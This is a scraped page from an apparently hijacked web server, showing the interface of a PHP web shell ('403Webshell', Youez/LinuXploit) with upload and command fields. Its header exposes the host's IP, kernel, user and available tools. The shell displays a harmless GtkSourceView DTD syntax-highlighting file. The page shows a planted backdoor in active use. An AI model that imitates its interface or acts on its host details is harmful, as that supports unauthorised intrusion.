403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/gtksourceview-2.0/language-specs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/gtksourceview-2.0/language-specs/dtd.lang
<?xml version="1.0" encoding="UTF-8"?>
<!--

 Author: Yevgen Muntyan <muntyan@tamu.edu>
 Copyright (C) 2006-2007 Yevgen Muntyan <muntyan@tamu.edu>

 This library is free software; you can redistribute it and/or
 modify it under the terms of the GNU Library General Public
 License as published by the Free Software Foundation; either
 version 2 of the License, or (at your option) any later version.

 This library is distributed in the hope that it will be useful,
 but WITHOUT ANY WARRANTY; without even the implied warranty of
 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 Library General Public License for more details.

 You should have received a copy of the GNU Library General Public
 License along with this library; if not, write to the
 Free Software Foundation, Inc., 59 Temple Place - Suite 330,
 Boston, MA 02111-1307, USA.

-->
<language id="dtd" _name="DTD" version="2.0" _section="Markup">
    <metadata>
      <property name="mimetypes">text/x-dtd</property>
      <property name="globs">*.dtd</property>
      <property name="block-comment-start">&lt;!--</property>
      <property name="block-comment-end">--&gt;</property>
    </metadata>

    <styles>
      <style id="entity" _name="entity" map-to="xml:entity"/>
      <style id="decl" _name="decl" map-to="xml:doctype"/>
      <style id="error" _name="error" map-to="xml:error"/>
      <style id="quoted-value" _name="quoted-value" map-to="xml:attribute-value"/>
    </styles>

    <definitions>
      <define-regex id="prefix">[a-zA-Z_][a-zA-Z0-9._-]*</define-regex>
      <define-regex id="name">[a-zA-Z_][a-zA-Z0-9.:_-]*</define-regex>

      <context id="entity" style-ref="entity">
        <match>%\%{name};</match>
      </context>

      <context id="decl-element">
        <start>&lt;!ELEMENT\b</start>
        <end>&gt;</end>
        <include>
          <context sub-pattern="0" where="start" style-ref="decl"/>
          <context sub-pattern="0" where="end" style-ref="decl"/>
          <context ref="entity"/>
          <context ref="quoted-value"/>
        </include>
      </context>


      <context id="quoted-value" style-ref="quoted-value">
        <start>"</start>
        <end>"</end>
        <include>
          <context style-ref="entity">
            <match>[%&amp;]\%{name};</match>
          </context>
          <context style-ref="error" extend-parent="false">
            <match>[%&amp;]\S*</match>
          </context>
        </include>
      </context>

      <context id="NDATA" extend-parent="false">
        <start>\bNDATA\b</start>
        <include>
          <context sub-pattern="0" where="start" style-ref="decl"/>
          <context>
            <match>\%{name}</match>
          </context>
          <context ref="error"/>
        </include>
      </context>

      <context id="decl-entity">
        <start>&lt;!ENTITY\s+(%\s+)?\%{name}\b</start>
        <end>&gt;</end>
        <include>
          <context sub-pattern="0" where="start" style-ref="decl"/>
          <context sub-pattern="0" where="end" style-ref="decl"/>
          <context ref="quoted-value"/>
          <context extend-parent="false">
            <start>(SYSTEM|PUBLIC)(?=\s|$)</start>
            <include>
              <context sub-pattern="0" where="start" style-ref="decl"/>
              <context ref="quoted-value"/>
              <context ref="NDATA"/>
              <context ref="error"/>
            </include>
          </context>
          <context ref="error"/>
        </include>
      </context>


      <context id="decl-attlist">
        <start>&lt;!ATTLIST\b</start>
        <end>&gt;</end>
        <include>
          <context sub-pattern="0" where="start" style-ref="decl"/>
          <context sub-pattern="0" where="end" style-ref="decl"/>
          <context ref="entity"/>
          <context ref="quoted-value"/>
        </include>
      </context>

      <context id="decl-notation">
        <start>&lt;!NOTATION\b</start>
        <end>&gt;</end>
        <include>
          <context sub-pattern="0" where="start" style-ref="decl"/>
          <context sub-pattern="0" where="end" style-ref="decl"/>
          <context ref="entity"/>
          <context ref="quoted-value"/>
        </include>
      </context>

      <context id="error" style-ref="error" extend-parent="false">
        <match>\S+</match>
      </context>

      <context id="dtd">
        <include>
          <context ref="xml:comment"/>
          <context ref="decl-element"/>
          <context ref="decl-entity"/>
          <context ref="decl-attlist"/>
          <context ref="decl-notation"/>
        </include>
      </context>
    </definitions>
</language>

Youez - 2016 - github.com/yon3zu
LinuXploit